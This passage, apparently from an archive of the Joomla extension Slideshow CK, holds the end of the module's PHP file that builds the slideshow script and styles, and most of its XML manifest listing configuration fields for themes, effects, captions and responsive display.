	if (! file_exists($sourceFile)) {
		echo '<p syle="color:red;">Error : File plugins/slideshowck/' . strtolower($source) . '/helper/helper_' . strtolower($source) . '.php not found !</p>';
		return;
	}
	include_once $sourceFile;
} else {
	include_once SLIDESHOWCK_PATH . '/helpers/source/' . $source . '.php';
}
// store the module ID in the params
$params->set('moduleid', $module->id);
$loaderClass = 'SlideshowckHelpersource' . ucfirst($source);
$items = $loaderClass::getItems($params);

// load items for B/C if the save action has not yet been triggered
if (version_compare(JVERSION, '4', '<')) require dirname(__FILE__) . '/legacy.php';

if (empty($items) || $items === false) {
	if ($params->get('debug', true) === true) echo '<p>SLIDESHOW CK : No items found.</p>';
	return;
}

if ($params->get('displayorder', 'normal') == 'shuffle')
	shuffle($items);

$doc = \Joomla\CMS\Factory::getDocument();
\Joomla\CMS\HTML\HTMLHelper::_("jquery.framework", true);
if ($params->get('loadjqueryeasing', '1')) {
	$doc->addScript(SLIDESHOWCK_MEDIA_URI . '/assets/jquery.easing.1.3.js');
}

$debug = false;
if ($debug) {
	$doc->addScript(SLIDESHOWCK_MEDIA_URI . '/assets/camera.js');
} else {
	$doc->addScript(SLIDESHOWCK_MEDIA_URI . '/assets/camera.min.js?ver=' . SLIDESHOWCK_VERSION);
}

$theme = $params->get('theme', 'default');
$langdirection = $doc->getDirection();

if ($theme == 'default' && file_exists(JPATH_ROOT . '/templates/' . $doc->template . '/css/camera.css')) {
	if ($langdirection == 'rtl' && file_exists(JPATH_ROOT . '/templates/' . $doc->template . '/css/camera_rtl.css')) {
		$cssfilesrc = 'templates/' . $doc->template . '/css/camera_rtl.css';
	} else {
		$cssfilesrc = 'templates/' . $doc->template . '/css/camera.css';
	}
} else {
	if ($langdirection == 'rtl' && file_exists(JPATH_ROOT . '/modules/mod_slideshowck/themes/' . $theme . '/css/camera_rtl.css')) {
		$cssfilesrc = 'modules/mod_slideshowck/themes/' . $theme . '/css/camera_rtl.css';
	} else {
		$cssfilesrc = 'modules/mod_slideshowck/themes/' . $theme . '/css/camera.css';
	}
}
$doc->addStylesheet(\Joomla\CMS\Uri\Uri::root(true) . '/' . $cssfilesrc);

// set the navigation variables
if (count($items) == 1) { // for only one slide, no navigation, no button
	$navigation = "navigationHover: false,
			mobileNavHover: false,
			navigation: false,
			playPause: false,";
} else {
	switch ($params->get('navigation', '2')) {
		case 0:
			// aucune
			$navigation = "navigationHover: false,
				mobileNavHover: false,
				navigation: false,
				playPause: false,";
			break;
		case 1:
			// toujours
			$navigation = "navigationHover: false,
				mobileNavHover: false,
				navigation: true,
				playPause: true,";
			break;
		case 2:
		default:
			// on mouseover
			$navigation = "navigationHover: true,
				mobileNavHover: true,
				navigation: true,
				playPause: true,";
			break;
	}
}

$autoAdvance = (count($items) > 1) ? $params->get('autoAdvance', '1') : '0';
// load the slideshow script
$js = "
		jQuery(document).ready(function(){
			new Slideshowck('#camera_wrap_" . $module->id . "', {
				height: '" . $params->get('height', '400') . "',
				minHeight: '" . $params->get('minheight', '150') . "',
				pauseOnClick: false,
				hover: " . $params->get('hover', '1') . ",
				fx: '" . implode(",", $params->get('effect', array('linear'))) . "',
				loader: '" . $params->get('loader', 'pie') . "',
				pagination: " . $params->get('pagination', '1') . ",
				thumbnails: " . $params->get('thumbnails', '1') . ",
				thumbheight: " . $params->get('thumbnailheight', '100') . ",
				thumbwidth: " . $params->get('thumbnailwidth', '75') . ",
				time: " . $params->get('time', '7000') . ",
				transPeriod: " . $params->get('transperiod', '1500') . ",
				alignment: '" . $params->get('alignment', 'center') . "',
				autoAdvance: " . $autoAdvance . ",
				mobileAutoAdvance: " . $params->get('autoAdvance', '1') . ",
				portrait: " . $params->get('portrait', '0') . ",
				barDirection: '" . $params->get('barDirection', 'leftToRight') . "',
				imagePath: '" . \Joomla\CMS\Uri\Uri::base(true) . "/media/com_slideshowck/images/',
				lightbox: '" . $params->get('lightboxtype', 'mediaboxck') . "',
				fullpage: " . $params->get('fullpage', '0') . ",
				mobileimageresolution: '" . ($params->get('usemobileimage', '0') ? $params->get('mobileimageresolution', '640') : '0') . "',
				" . $navigation . "
				barPosition: '" . $params->get('barPosition', 'bottom') . "',
				responsiveCaption: " . ($params->get('usecaptionresponsive') == '2' ? '1' : '0') . ",
				keyboardNavigation: " . $params->get('keyboardnavigation', '0') . ",
				titleInThumbs: " . $params->get('titleInThumbs', '0') . ",
				container: '" . $params->get('container', '') . "'
		});
}); 
";

if ($params->get('loadinline', '0') == '1') {
	echo '<script>' . $js . '</script>';
} else {
	$doc->addScriptDeclaration($js);
}

$css = '';
// load some css
$css = "#camera_wrap_" . $module->id . " .camera_pag_ul li img, #camera_wrap_" . $module->id . " .camera_thumbs_cont ul li > img {height:" . SlideshowckHelper::testUnit($params->get('thumbnailheight', '75')) . ";}";

// load the caption styles
if (version_compare(JVERSION, '4', '<')) {
$captioncss = modSlideshowckHelper::createCss($params, 'captionstyles');
$fontfamily = ($params->get('captionstylesusefont','0') && $params->get('captionstylestextgfont', '0')) ? "font-family:'" . $params->get('captionstylestextgfont', 'Droid Sans') . "';" : '';
if ($fontfamily) {
	$gfonturl = str_replace(" ", "+", $params->get('captionstylestextgfont', 'Droid Sans'));
	$doc->addStylesheet('https://fonts.googleapis.com/css?family=' . $gfonturl);
}

$css .= "
#camera_wrap_" . $module->id . " .camera_caption {
	display: block;
	position: absolute;
}
#camera_wrap_" . $module->id . " .camera_caption > div {
	" . $captioncss['padding'] . $captioncss['margin'] . $captioncss['background'] . $captioncss['gradient'] . $captioncss['borderradius'] . $captioncss['shadow'] . $captioncss['border'] . $fontfamily . "
}
#camera_wrap_" . $module->id . " .camera_caption > div div.camera_caption_title {
	" . $captioncss['fontcolor'] . $captioncss['fontsize'] . "
}
#camera_wrap_" . $module->id . " .camera_caption > div div.camera_caption_desc {
	" . $captioncss['descfontcolor'] . $captioncss['descfontsize'] . "
}
";
}

if ($params->get('usecaptionresponsive') == '1' || $params->get('usecaptionresponsive') == '2') {
	$css .= "
@media screen and (max-width: " . str_replace("px", "", $params->get('captionresponsiveresolution', '480')) . "px) {
		#camera_wrap_" . $module->id . " .camera_caption {
			" . ( $params->get('captionresponsivehidecaption', '0') == '1' ? "display: none !important;" : ($params->get('usecaptionresponsive') == '1' ? "font-size: " . $params->get('captionresponsivefontsize', '0.6em') ." !important;" : "") ) . "
		}
		" . ( $params->get('captionresponsivehidedescription', '0') == '1' ? "#camera_wrap_" . $module->id . " .camera_caption_desc {display: none !important;}" : "") . "
}";
}

// load the style 
if ($styleId = $params->get('styles', '')) {
	$layoutcss = str_replace('|ID|', '#camera_wrap_' . $module->id, SlideshowckHelper::getStyleLayoutcss($styleId) );
	$css .= $layoutcss;
}

$doc->addStyleDeclaration($css);

// load the php Class for the html fixer
if ($params->get('fixhtml', '0') == '1') include_once SLIDESHOWCK_PATH . '/helpers/htmlfixer.php';

// display the module
require \Joomla\CMS\Helper\ModuleHelper::getLayoutPath('mod_slideshowck', $params->get('layout', 'default'));
com_slideshowck/extensions/mod_slideshowck/mod_slideshowck.xml000060400000062271152455305260021211 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension
	type="module"
	version="3.0"
	client="site"
	method="upgrade">
	<name>Slideshow CK</name>
	<author>Cédric KEIFLIN</author>
	<creationDate>Avril 2012</creationDate>
	<copyright>Cédric KEIFLIN</copyright>
	<license>GNU/GPL 3 http://www.gnu.org/licenses/gpl.html</license>
	<authorEmail>ced1870@gmail.com</authorEmail>
	<authorUrl>https://www.joomlack.fr</authorUrl>
	<version>2.5.0</version>
	<description>SLIDESHOWCK_XML_DESCRIPTION</description>
	<files>
		<folder>language</folder>
		<folder>themes</folder>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
		<filename>index.html</filename>
		<filename>legacy.php</filename>
		<filename>logo_slideshowck.png</filename>
		<filename module="mod_slideshowck">mod_slideshowck.php</filename>
		<filename>mod_slideshowck.xml</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.mod_slideshowck.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.mod_slideshowck.sys.ini</language>
		<language tag="fr-FR">language/fr-FR/fr-FR.mod_slideshowck.ini</language>
		<language tag="fr-FR">language/fr-FR/fr-FR.mod_slideshowck.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldpath="/administrator/components/com_slideshowck/elements">
				<field 
					name="slideshowckinterface"
					type="slideshowckinterface"
					/>
				<field 
					name="infos" 
					type="ckinfo"
					/>
				<field
					name="infospro"
					type="cklight"
					/>
				<field
					name="joomlackproducts"
					type="ckproducts"
					/>
				<field
					name="v1tov2migration"
					type="ckmigrate"
					/>
			</fieldset>
			<fieldset name="editionfieldset" label="SLIDESHOWCK_SOURCE_FIELDSET_LABEL">
				<field
					name="source"
					type="cksource"
					default="slidesmanager"
					label="SLIDESHOWCK_SLIDESSOURCE_LABEL"
					description="SLIDESHOWCK_SLIDESSOURCE_DESC"
					icon="image_link.png"
				>
					<option value="slidesmanager">SLIDESHOWCK_SOURCE_SLIDESMANAGER</option>
				</field>
				<field
					name="sourceproonly"
					type="ckproonly"
					label="SLIDESHOWCK_SLIDESSOURCE_PRO_ONLY"
				/>
				<field
					name="slides"
					type="ckslidesmanager"
					label="SLIDESHOWCK_SLIDES_LABEL"
					default="[{|qq|imgname|qq|:|qq|media/com_slideshowck/images/slides/bridge.jpg|qq|,|qq|imgcaption|qq|:|qq|This bridge is very long|qq|,|qq|imgtitle|qq|:|qq|This is a bridge|qq|,|qq|imgthumb|qq|:|qq|../media/com_slideshowck/images/slides/bridge.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|media/com_slideshowck/images/slides/road.jpg|qq|,|qq|imgcaption|qq|:|qq|This slideshow uses a JQuery script adapted from Pixedelic|qq|,|qq|imgtitle|qq|:|qq|On the road again|qq|,|qq|imgthumb|qq|:|qq|../media/com_slideshowck/images/slides/road.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|media/com_slideshowck/images/slides2/sea.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|../media/com_slideshowck/images/slides2/sea.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|}]"
					filter="raw"
					showon="source:slidesmanager"
				/>
				<field
					name="spacerfolderimport"
					type="slideshowckspacer"
					style="title"
					label="SLIDESHOWCK_SPACERFOLDERIMPORT_LABEL"
					showon="source:slidesmanager"
				/>
				<field
					type="ckproonly"
				/>
			</fieldset>
			<fieldset name="optionsfieldset" label="SLIDESHOWCK_OPTIONS_FIELDSET_LABEL" >
				<field
					name="spacerdisplay"
					type="slideshowckspacer"
					label="SLIDESHOWCK_DISPLAY_OPTIONS_LABEL"
					style="title"
					/>
				<field
					name="theme"
					type="ckfolderlist"
					directory="modules/mod_slideshowck/themes"
					hide_none="true"
					hide_default="true"
					label="SLIDESHOWCK_THEME_LABEL"
					description="SLIDESHOWCK_THEME_DESC"
					icon="photo.png" />
				<field
					name="styles"
					type="ckstyle"
					label="SLIDESHOWCK_SELECT_STYLE_LABEL"
					description="SLIDESHOWCK_SELECT_STYLE_DESC"
					icon="palette.png"
					default=""
					/>

				<field
					name="alignment"
					type="slideshowcklist"
					default="center"
					label="SLIDESHOWCK_ALIGNEMENT_LABEL"
					description="SLIDESHOWCK_ALIGNEMENT_DESC"
					icon="image_alignment.png"
				>
					<option value="topLeft">SLIDESHOWCK_TOPLEFT</option>
					<option value="topCenter">SLIDESHOWCK_TOPCENTER</option>
					<option value="topRight">SLIDESHOWCK_TOPRIGHT</option>
					<option value="centerLeft">SLIDESHOWCK_MIDDLELEFT</option>
					<option value="center">SLIDESHOWCK_CENTER</option>
					<option value="centerRight">SLIDESHOWCK_MIDDLERIGHT</option>
					<option value="bottomLeft">SLIDESHOWCK_BOTTOMLEFT</option>
					<option value="bottomCenter">SLIDESHOWCK_BOTTOMCENTER</option>
					<option value="bottomRight">SLIDESHOWCK_BOTTOMRIGHT</option>
				</field>
				<field
					name="slideshowstylesillustration"
					type="ckbackground"
					background="slideshowck_styles.png"
					styles="height:264px;width:356px;"
				/>
				<field
					name="loader"
					type="slideshowcklist"
					default="pie"
					label="SLIDESHOWCK_LOADER_LABEL"
					description="SLIDESHOWCK_LOADER_DESC"
					icon="arrow_rotate_clockwise.png"
				>
					<option value="pie">SLIDESHOWCK_LOADER_PIE</option>
					<option value="bar">SLIDESHOWCK_LOADER_BAR</option>
					<option value="none">SLIDESHOWCK_LOADER_NONE</option>
				</field>

				<field
					name="width"
					type="slideshowcktext"
					default="auto"
					label="SLIDESHOWCK_WIDTH_LABEL"
					description="SLIDESHOWCK_WIDTH_DESC"
					icon="width.png"
					suffix=""
				/>
				<field
					name="height"
					type="ckheight"
					default="62%"
					label="SLIDESHOWCK_HEIGHT_LABEL"
					description="SLIDESHOWCK_HEIGHT_DESC"
					icon="height.png"
					suffix=""
				/>
				<field
					name="minheight"
					type="slideshowcktext"
					default="150"
					label="SLIDESHOWCK_MINHEIGHT_LABEL"
					description="SLIDESHOWCK_MINHEIGHT_DESC"
					suffix="px"
				/>
				<field
					name="navigation"
					type="slideshowckradio"
					default="2"
					label="SLIDESHOWCK_NAVIGATION_LABEL"
					description="SLIDESHOWCK_NAVIGATION_DESC"
					class="btn-group"
					icon="resultset_next.png"
				>
					<option value="2">SLIDESHOWCK_NAVIGATION_HOVER</option>
					<option value="1">SLIDESHOWCK_NAVIGATION_ALWAYS</option>
					<option value="0">SLIDESHOWCK_NAVIGATION_NONE</option>
				</field>
				<field
					name="skin"
					type="slideshowcklist"
					default="camera_amber_skin"
					label="SLIDESHOWCK_SKIN_LABEL"
					description="SLIDESHOWCK_SKIN_DESC"
					icon="palette.png" >
					<option value="camera_amber_skin">amber</option>
					<option value="camera_ash_skin">ash</option>
					<option value="camera_azure_skin">azure</option>
					<option value="camera_beige_skin">beige</option>
					<option value="camera_black_skin">black</option>
					<option value="camera_blue_skin">blue</option>
					<option value="camera_brown_skin">brown</option>
					<option value="camera_burgundy_skin">burgundy</option>
					<option value="camera_charcoal_skin">charcoal</option>
					<option value="camera_chocolate_skin">chocolate</option>
					<option value="camera_coffee_skin">coffee</option>
					<option value="camera_cyan_skin">cyan</option>
					<option value="camera_fuchsia_skin">fuchsia</option>
					<option value="camera_gold_skin">gold</option>
					<option value="camera_green_skin">green</option>
					<option value="camera_grey_skin">grey</option>
					<option value="camera_indigo_skin">indigo</option>
					<option value="camera_khaki_skin">khaki</option>
					<option value="camera_lime_skin">lime</option>
					<option value="camera_magenta_skin">magenta</option>
					<option value="camera_maroon_skin">maroon</option>
					<option value="camera_orange_skin">orange</option>
					<option value="camera_olive_skin">olive</option>
					<option value="camera_pink_skin">pink</option>
					<option value="camera_pistachio_skin">pistachio</option>
					<option value="camera_pink_skin">pink</option>
					<option value="camera_red_skin">red</option>
					<option value="camera_tangerine_skin">tangerine</option>
					<option value="camera_turquoise_skin">turquoise</option>
					<option value="camera_violet_skin">violet</option>
					<option value="camera_white_skin">white</option>
					<option value="camera_yellow_skin">yellow</option>
				</field>
				<field
					name="thumbnails"
					type="slideshowckradio"
					default="1"
					label="SLIDESHOWCK_THUMBNAILS_LABEL"
					description="SLIDESHOWCK_THUMBNAILS_DESC"
					class="btn-group"
					icon="pictures.png"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="titleInThumbs"
					type="slideshowckradio"
					default="0"
					label="SLIDESHOWCK_TITLE_IN_THUMBNAILS_LABEL"
					class="btn-group"
					showon="thumbnails:1"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="thumbnailwidth"
					type="slideshowcktext"
					default="100"
					label="SLIDESHOWCK_THUMBNAILWIDTH_LABEL"
					description="SLIDESHOWCK_THUMBNAILWIDTH_DESC"
					suffix="px"
				/>

				<field
					name="thumbnailheight"
					type="slideshowcktext"
					default="75"
					label="SLIDESHOWCK_THUMBNAILHEIGHT_LABEL"
					description="SLIDESHOWCK_THUMBNAILHEIGHT_DESC"
					suffix="px"
				/>

				<field
					name="pagination"
					type="slideshowckradio"
					default="1"
					label="SLIDESHOWCK_PAGINATION_LABEL"
					description="SLIDESHOWCK_PAGINATION_DESC"
					class="btn-group"
					icon="edit-list-order.png"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="displayorder"
					type="slideshowcklist"
					default="normal"
					label="SLIDESHOWCK_DISPLAYORDER_LABEL"
					description="SLIDESHOWCK_DISPLAYORDER_DESC"
					icon="control_repeat.png"
				>
					<option value="normal">SLIDESHOWCK_DISPLAYORDER_NORMAL</option>
					<option value="shuffle">SLIDESHOWCK_DISPLAYORDER_SHUFFLE</option>
				</field>
				<field
					name="limitslides"
					type="slideshowcktext"
					default=""
					label="SLIDESHOWCK_NUMBER_SLIDES_LABEL"
					description="SLIDESHOWCK_NUMBER_SLIDES_DESC"
					icon="application_cascade.png"
					
					/>
				<field
					name="spacertext"
					type="slideshowckspacer"
					label="SLIDESHOWCK_TEXT_OPTIONS_LABEL"
					style="title"
					/>
				<field
					name="usecaption"
					type="slideshowckradio"
					label="SLIDESHOWCK_USECAPTION_LABEL"
					description="SLIDESHOWCK_USECAPTION_DESC"
					icon="switch.png"
					class="btn-group"
					default="1"
					>
						<option value="0">JNO</option>
						<option value="1">JYES</option>
				</field>
				<field
					name="usetitle"
					type="slideshowckradio"
					label="SLIDESHOWCK_USETITLE_LABEL"
					description="SLIDESHOWCK_USETITLE_DESC"
					icon="switch.png"
					class="btn-group"
					default="1"
					showon="usecaption:1"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="usecaptiondesc"
					type="slideshowckradio"
					label="SLIDESHOWCK_USECAPTIONDESC_LABEL"
					description="SLIDESHOWCK_USECAPTIONDESC_DESC"
					icon="switch.png"
					class="btn-group"
					default="1"
					showon="usecaption:1"
					>
						<option value="0">JNO</option>
						<option value="1">JYES</option>
				</field>
				<field
					name="textlength"
					type="slideshowcktext"
					default=""
					label="SLIDESHOWCK_ARTICLELENGTH_LABEL"
					description="SLIDESHOWCK_ARTICLELENGTH_DESC"
					icon="text_signature.png"
					showon="usecaption:1"
				/>
				<field
					name="striptags"
					type="slideshowckradio"
					default="1"
					label="SLIDESHOWCK_STRIPTAGS_LABEL"
					description="SLIDESHOWCK_STRIPTAGS_DESC"
					icon="html.png"
					class="btn-group"
					showon="usecaption:1"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="spacerlink"
					type="slideshowckspacer"
					label="SLIDESHOWCK_LINK_OPTIONS_LABEL"
					style="title"
					/>
				<field
					name="linkposition"
					type="slideshowcklist"
					label="SLIDESHOWCK_LINK_POSITION_LABEL"
					description="SLIDESHOWCK_LINK_POSITION_DESC"
					icon="link.png"
					default="fullslide"
					>
					<option value="fullslide">SLIDESHOWCK_LINK_FULLSLIDE</option>
					<option value="title">SLIDESHOWCK_LINK_TITLE</option>
					<option value="button">SLIDESHOWCK_LINK_BUTTON</option>
					<option value="none">SLIDESHOWCK_NONE</option>
				</field>
				<field
					name="linkbuttontext"
					type="slideshowcktext"
					label="SLIDESHOWCK_LINK_BUTTON_TEXT_LABEL"
					description="SLIDESHOWCK_LINK_BUTTON_TEXT_DESC"
					icon="text_signature.png"
					default="SLIDESHOWCK_LINK_BUTTON_TEXT"
					showon="linkposition:button"
					/>
				<field
					name="linkbuttonclass"
					type="slideshowcktext"
					label="SLIDESHOWCK_LINK_BUTTON_CLASS_LABEL"
					description="SLIDESHOWCK_LINK_BUTTON_CLASS_DESC"
					icon="css.png"
					default="btn"
					showon="linkposition:button"
					/>
				<field
					name="linkautoimage"
					type="slideshowckradio"
					label="SLIDESHOWCK_LINK_AUTOIMAGE_LABEL"
					description="SLIDESHOWCK_LINK_AUTOIMAGE_DESC"
					icon="link_add.png"
					default="0"
					class="btn-group"
					showon="linkposition!:none"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="linktarget"
					type="slideshowcklist"
					label="SLIDESHOWCK_LINK_TARGET_LABEL"
					description="SLIDESHOWCK_LINK_TARGET_DESC"
					icon="link_go.png"
					default="_parent"
					showon="linkposition!:none"
					>
					<option value="_parent">SLIDESHOWCK_LINK_SAME_WINDOW</option>
					<option value="_blank">SLIDESHOWCK_LINK_NEW_WINDOW</option>
				</field>
				<field
					name="spacerlightbox"
					type="slideshowckspacer"
					label="SLIDESHOWCK_LIGHTBOX_SPACER_LABEL"
					style="title"
					/>
				<field
					type="ckproonly"
				/>
			</fieldset>

			<fieldset name="effects" label="SLIDESHOWCK_EFFECTS_OPTIONS">

				<field
					name="effect"
					type="slideshowcklist"
					default="random"
					multiple="true"
					label="SLIDESHOWCK_EFFECT_LABEL"
					description="SLIDESHOWCK_EFFECT_DESC"
					icon="application_view_gallery.png"
					styles="width:200px;"
				>
					<option value="random">random</option>
					<option value="kenburns">kenburns</option>
					<option value="simpleFade">simpleFade</option>
					<option value="curtainTopLeft">curtainTopLeft</option>
					<option value="curtainTopRight">curtainTopRight</option>
					<option value="curtainBottomLeft">curtainBottomLeft</option>
					<option value="curtainBottomRight">curtainBottomRight</option>
					<option value="curtainSliceLeft">curtainSliceLeft</option>
					<option value="curtainSliceRight">curtainSliceRight</option>
					<option value="blindCurtainTopLeft">blindCurtainTopLeft</option>
					<option value="blindCurtainTopRight">blindCurtainTopRight</option>
					<option value="blindCurtainBottomLeft">blindCurtainBottomLeft</option>
					<option value="blindCurtainBottomRight">blindCurtainBottomRight</option>
					<option value="blindCurtainSliceBottom">blindCurtainSliceBottom</option>
					<option value="blindCurtainSliceTop">blindCurtainSliceTop</option>
					<option value="stampede">stampede</option>
					<option value="mosaic">mosaic</option>
					<option value="mosaicReverse">mosaicReverse</option>
					<option value="mosaicRandom">mosaicRandom</option>
					<option value="mosaicSpiral">mosaicSpiral</option>
					<option value="mosaicSpiralReverse">mosaicSpiralReverse</option>
					<option value="topLeftBottomRight">topLeftBottomRight</option>
					<option value="bottomRightTopLeft">bottomRightTopLeft</option>
					<option value="bottomLeftTopRight">bottomLeftTopRight</option>
					<option value="bottomLeftTopRight">bottomLeftTopRight</option>
					<option value="scrollLeft">scrollLeft</option>
					<option value="scrollRight">scrollRight</option>
					<option value="scrollHorz">scrollHorz</option>
					<option value="scrollBottom">scrollBottom</option>
					<option value="scrollTop">scrollTop</option>
				</field>

				<field
					name="time"
					type="slideshowcktext"
					default="7000"
					label="SLIDESHOWCK_TIME_LABEL"
					description="SLIDESHOWCK_TIME_DESC"
					icon="hourglass.png"
					suffix="ms" />

				<field
					name="transperiod"
					type="slideshowcktext"
					default="1500"
					label="SLIDESHOWCK_TRANSPERIOD_LABEL"
					description="SLIDESHOWCK_TRANSPERIOD_DESC"
					icon="hourglass.png"
					suffix="ms" />
				<field
					name="captioneffect"
					type="slideshowcklist"
					default="random"
					label="SLIDESHOWCK_CAPTIONEFFECT_LABEL"
					description="SLIDESHOWCK_CAPTIONEFFECT_DESC"
					icon="application_view_gallery.png"
					styles=""
				>
					<option value="moveFromLeft">moveFromLeft</option>
					<option value="moveFromRight">moveFromRight</option>
					<option value="moveFromTop">moveFromTop</option>
					<option value="moveFromBottom">moveFromBottom</option>
					<option value="fadeIn">fadeIn</option>
					<option value="fadeFromLeft">fadeFromLeft</option>
					<option value="fadeFromRight">fadeFromRight</option>
					<option value="fadeFromTop">fadeFromTop</option>
					<option value="fadeFromBottom">fadeFromBottom</option>
					<option value="none">none</option>
				</field>
				<field
					name="portrait"
					type="slideshowckradio"
					default="0"
					label="SLIDESHOWCK_PORTRAIT_LABEL"
					description="SLIDESHOWCK_PORTRAIT_DESC"
					icon="shape_handles.png"
					class="btn-group"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="autoAdvance"
					type="slideshowckradio"
					default="1"
					label="SLIDESHOWCK_AUTOADVANCE_LABEL"
					description="SLIDESHOWCK_AUTOADVANCE_DESC"
					icon="control_play.png"
					class="btn-group"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="hover"
					type="slideshowckradio"
					default="1"
					label="SLIDESHOWCK_HOVER_LABEL"
					description="SLIDESHOWCK_HOVER_DESC"
					icon="control_pause.png"
					class="btn-group"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="keyboardnavigation"
					type="slideshowckradio"
					default="0"
					label="SLIDESHOWCK_KEYBOARD_CONTROL_LABEL"
					description="SLIDESHOWCK_KEYBOARD_CONTROL_DESC"
					class="btn-group"
					icon="keyboard.png"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="fullpage"
					type="slideshowckradio"
					default="0"
					label="SLIDESHOWCK_FULLPAGE_LABEL"
					description="SLIDESHOWCK_FULLPAGE_DESC"
					class="btn-group"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				
				<field
					name="container"
					type="slideshowcktext"
					default=""
					label="SLIDESHOWCK_CONTAINER_LABEL"
					description="SLIDESHOWCK_CONTAINER_DESC"
					class="btn-group"
				/>
				
				
			</fieldset>
			<fieldset name="responsiveoptions" label="SLIDESHOWCK_RESPONSIVE">
				<field 
					name="mobileimagespacer"
					label="SLIDESHOWCK_MOBILEIMAGE_SPACER_LABEL"
					type="slideshowckspacer"
					style="title"
				/>
				<field
					name="usemobileimage"
					type="slideshowckradio"
					default="0"
					label="SLIDESHOWCK_USEMOBILEIMAGE_LABEL"
					description="SLIDESHOWCK_USEMOBILEIMAGE_DESC"
					class="btn-group"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="mobileimageresolution"
					type="slideshowcktext"
					default="640"
					label="SLIDESHOWCK_MOBILEIMAGERESOLUTION_LABEL"
					description="SLIDESHOWCK_MOBILEIMAGERESOLUTION_DESC"
					icon="width.png"
					suffix="px" 
				/>
				<field
					name="captionresponsiveckspacer"
					type="slideshowckspacer"
					label="SLIDESHOWCK_SPACER_RESPONSIVE"
					style="title"
				/>
				<field
					name="usecaptionresponsive"
					type="slideshowcklist"
					label="SLIDESHOWCK_USERESPONSIVECAPTION_LABEL"
					description="SLIDESHOWCK_USERESPONSIVECAPTION_DESC"
					icon="ipod.png"
					class="btn-group"
					default="1"
					>
						<option value="2">SLIDESHOWCK_RESOLUTION_ADAPTATIVE</option>
						<option value="1">SLIDESHOWCK_RESOLUTION_STEP</option>
						<option value="0">JNO</option>
				</field>
				<field
					name="captionresponsiveresolution"
					type="slideshowcktext"
					label="SLIDESHOWCK_RESPONSIVERESOLUTION_LABEL"
					description="SLIDESHOWCK_RESPONSIVERESOLUTION_DESC"
					icon="width.png"
					default="480"
					showon="usecaptionresponsive!:0"
				/>
				<field
					name="captionresponsivefontsize"
					type="slideshowcktext"
					label="SLIDESHOWCK_RESPONSIVEFONTSIZE_LABEL"
					description="SLIDESHOWCK_RESPONSIVEFONTSIZE_DESC"
					icon="style.png"
					default="0.6em"
					showon="usecaptionresponsive:1"
				/>
				<field
					name="captionresponsivehidecaption"
					type="slideshowckradio"
					label="SLIDESHOWCK_RESPONSIVEHIDECAPTION_LABEL"
					description="SLIDESHOWCK_RESPONSIVEHIDECAPTION_DESC"
					icon="style_delete.png"
					class="btn-group"
					default="0"
					showon="usecaptionresponsive!:0"
					>
						<option value="0">JNO</option>
						<option value="1">JYES</option>
				</field>
				<field
					name="captionresponsivehidedescription"
					type="slideshowckradio"
					label="SLIDESHOWCK_RESPONSIVEHIDEDESCRIPTION_LABEL"
					description="SLIDESHOWCK_RESPONSIVEHIDEDESCRIPTION_DESC"
					icon="style_delete.png"
					class="btn-group"
					default="0"
					showon="usecaptionresponsive!:0[AND]captionresponsivehidecaption:0"
					>
						<option value="0">JNO</option>
						<option value="1">JYES</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="loadjqueryeasing"
					type="slideshowckradio"
					default="1"
					label="SLIDESHOWCK_LOADJQUERYEASING_LABEL"
					description="SLIDESHOWCK_LOADJQUERYEASING_DESC"
					icon="page_white_wrench.png"
					class="btn-group"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				
				<field
					name="autocreatethumbs"
					type="slideshowckradio"
					default="1"
					label="SLIDESHOWCK_AUTOCREATETHUMBS_LABEL"
					description="SLIDESHOWCK_AUTOCREATETHUMBS_DESC"
					icon="application_cascade.png"
					class="btn-group"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="usethumbstype"
					type="slideshowckradio"
					default="mini"
					label="SLIDESHOWCK_THUMBSTYPE_LABEL"
					description="SLIDESHOWCK_THUMBSTYPE_DESC"
					class="btn-group"
				>
					<option value="mini">SLIDESHOWCK_THUMBSTYPE_MINI</option>
